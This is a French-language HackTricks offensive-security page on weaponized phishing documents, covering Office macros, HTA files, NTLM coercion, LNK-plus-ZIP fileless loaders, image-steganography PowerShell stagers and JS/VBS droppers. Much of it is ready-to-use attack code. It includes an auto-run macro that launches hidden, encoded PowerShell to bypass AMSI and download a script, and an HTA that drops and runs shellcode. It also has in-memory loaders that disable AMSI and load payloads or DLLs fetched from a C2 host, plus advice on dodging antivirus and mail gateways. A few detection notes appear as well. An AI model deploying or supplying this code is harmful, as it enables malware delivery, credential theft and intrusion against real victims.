Fichiers & documents de phishing
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Documents Office
Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est réalisée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure de données, le fichier analysé ne sera pas ouvert.
D'ordinaire, les fichiers Word contenant des macros utilisent l'extension .docm
. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout la capacité d'exécution des macros.
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et pourra exécuter des macros.
Les mĂȘmes mĂ©canismes internes s'appliquent Ă tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).
Vous pouvez utiliser la commande suivante pour vĂ©rifier quelles extensions vont ĂȘtre exĂ©cutĂ©es par certains programmes Office :
assoc | findstr /i "word excel powerp"
Les fichiers DOCX qui rĂ©fĂ©rencent un modĂšle distant (File âOptions âAdd-ins âManage: Templates âGo) qui inclut des macros peuvent âexecuteâ macros as well.
External Image Load
Aller Ă : Insert --> Quick Parts --> Field
Catégories: Liens et références, Noms de champ: includePicture, et Nom de fichier ou URL: http://
Macros Backdoor
Il est possible d'utiliser des macros pour exécuter du code arbitraire depuis le document.
Fonctions d'autochargement
Plus elles sont courantes, plus il est probable que l'AV les détecte.
- AutoOpen()
- Document_Open()
Exemples de code de macros
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Supprimer manuellement les métadonnées
Aller à Fichier > Informations > Inspecter le document > Inspecter le document, ce qui ouvrira l'Inspecteur de document. Cliquez sur Inspecter puis sur Supprimer tout à cÎté de Propriétés du document et informations personnelles.
Extension du document
Lorsque c'est terminé, sélectionnez le menu déroulant Save as type, changez le format de .docx
en Word 97-2003 .doc
.
Faites cela parce que vous ne pouvez pas enregistrer de macros dans un .docx
et qu'il existe une stigmatisation à l'égard de l'extension activée par les macros .docm
(par ex. l'icÎne miniature affiche un énorme !
et certains gateways web/email les bloquent complÚtement). Par conséquent, cette ancienne extension .doc
est le meilleur compromis.
Générateurs de macros malveillantes
Fichiers HTA
Un HTA est un programme Windows qui combine HTML et des langages de script (tels que VBScript et JScript). Il génÚre l'interface utilisateur et s'exécute en tant qu'application « entiÚrement de confiance », sans les contraintes du modÚle de sécurité d'un navigateur.
Un HTA est exécuté à l'aide de mshta.exe
, qui est généralement installé avec Internet Explorer, rendant mshta
dépendant d'IE. Ainsi, si celui-ci a été désinstallé, les HTA ne pourront pas s'exécuter.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forcer l'authentification NTLM
Il existe plusieurs façons de forcer l'authentification NTLM "Ă distance", par exemple, vous pouvez ajouter des images invisibles aux emails ou au HTML que l'utilisateur ouvrira (mĂȘme un MitM HTTP ?). Ou envoyer Ă la victime l'adresse de fichiers qui dĂ©clenchera une authentification simplement en ouvrant le dossier.
Consultez ces idées et plus dans les pages suivantes :
Force NTLM Privileged Authentication
NTLM Relay
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi effectuer des NTLM relay attacks :
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Des campagnes trÚs efficaces livrent un ZIP qui contient deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le véritable PowerShell loader est stocké dans les octets bruts du ZIP aprÚs un marqueur unique, et le .lnk l'extrait et l'exécute entiÚrement en mémoire.
Flux typique mis en Ćuvre par le one-liner PowerShell du .lnk :
- Localiser le ZIP original dans des chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData% et le répertoire parent du dossier de travail courant.
- Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est le PowerShell payload intégré.
- Copier le ZIP dans %ProgramData%, l'extraire là -bas, et ouvrir le .docx leurre pour paraßtre légitime.
- Bypasser AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Déobfusquer l'étape suivante (par ex., supprimer tous les caractÚres #) et l'exécuter en mémoire.
Exemple de squelette PowerShell pour découper et exécuter l'étape intégrée :
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Remarques
- La livraison abuse souvent de sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bénins selon l'IP/UA).
- L'étape suivante décrypte fréquemment du shellcode encodé en base64/XOR et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts disque.
Persistance utilisĂ©e dans la mĂȘme chaĂźne
- COM TypeLib hijacking du Microsoft Web Browser control afin que IE/Explorer ou toute application l'intĂ©grant relance automatiquement le payload. Voir les dĂ©tails et les commandes prĂȘtes Ă l'emploi ici :
Hunting/IOCs
- Fichiers ZIP contenant la chaßne marqueur ASCII (par ex., xFIQCV) ajoutée aux données de l'archive.
- .lnk qui énumÚre les dossiers parent/utilisateur pour localiser le ZIP et ouvre un document leurre.
- Altération d'AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Threads métiers de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
Steganography-delimited payloads in images (PowerShell stager)
Des chaßnes de loader récentes livrent un JavaScript/VBS obfusqué qui décode et exécute un PowerShell stager encodé en Base64. Ce stager télécharge une image (souvent GIF) qui contient une .NET DLL encodée en Base64 cachée en texte brut entre des marqueurs de début/fin uniques. Le script cherche ces délimiteurs (exemples observés en nature : «<<sudo_png>> ⊠<<sudo_odt>>>»), extrait le texte intermédiaire, le décode Base64 en octets, charge l'assembly en mémoire et invoque une méthode d'entrée connue en lui passant l'URL C2.
Workflow
- Stage 1: Archived JS/VBS dropper â dĂ©code le Base64 embarquĂ© â lance le PowerShell stager avec -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager â tĂ©lĂ©charge l'image, extrait le Base64 dĂ©limitĂ© par marqueurs, charge la .NET DLL en mĂ©moire et appelle sa mĂ©thode (par ex. VAI) en lui passant l'URL C2 et des options.
- Stage 3: Loader récupÚre le payload final et l'injecte typiquement via process hollowing dans un binaire de confiance (fréquemment MSBuild.exe). Voir plus sur process hollowing et trusted utility proxy execution ici :
Exemple PowerShell pour extraire une DLL depuis une image et invoquer une méthode .NET en mémoire :
Extracteur et loader de payload stego PowerShell
# Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory
param(
[string]$Url = 'https://example.com/payload.gif',
[string]$StartM = '<<sudo_png>>',
[string]$EndM = '<<sudo_odt>>',
[string]$EntryType = 'Loader',
[string]$EntryMeth = 'VAI',
[string]$C2 = 'https://c2.example/payload'
)
$img = (New-Object Net.WebClient).DownloadString($Url)
$start = $img.IndexOf($StartM)
$end = $img.IndexOf($EndM)
if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' }
$b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length))
$bytes = [Convert]::FromBase64String($b64)
$asm = [Reflection.Assembly]::Load($bytes)
$type = $asm.GetType($EntryType)
$method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic')
$null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE))
Remarques
- Ceci correspond Ă ATT&CK T1027.003 (steganography/marker-hiding). Les marqueurs varient selon les campagnes.
- Des contournements AMSI/ETW et string deobfuscation sont couramment appliqués avant le chargement de l'assembly.
- Chasse : scanner les images téléchargées à la recherche de délimiteurs connus ; identifier PowerShell accédant aux images et décodant immédiatement des blobs Base64.
Voir aussi stego tools et carving techniques :
JS/VBS droppers â Base64 PowerShell staging
Une étape initiale récurrente est un petit, fortement obfusqué .js
ou .vbs
livré dans une archive. Son unique but est de décoder une chaßne Base64 intégrée et de lancer PowerShell avec -nop -w hidden -ep bypass
pour démarrer la phase suivante via HTTPS.
Logique squelettique (abstraite) :
- Lire le contenu de son propre fichier
- Localiser un blob Base64 entre des chaĂźnes inutiles
- Décoder en PowerShell ASCII
- Exécuter via
wscript.exe
/cscript.exe
en invoquantpowershell.exe
Signes de détection
- PiÚces jointes JS/VBS archivées lançant
powershell.exe
avec-enc
/FromBase64String
dans la ligne de commande. wscript.exe
lançantpowershell.exe -nop -w hidden
depuis les chemins temporaires utilisateur.
Fichiers Windows pour voler NTLM hashes
Consultez la page sur places to steal NTLM creds :
Références
- Check Point Research â ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib â New COM persistence technique (CICADA8)
- Unit 42 â PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK â Steganography (T1027.003)
- MITRE ATT&CK â Process Hollowing (T1055.012)
- MITRE ATT&CK â Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.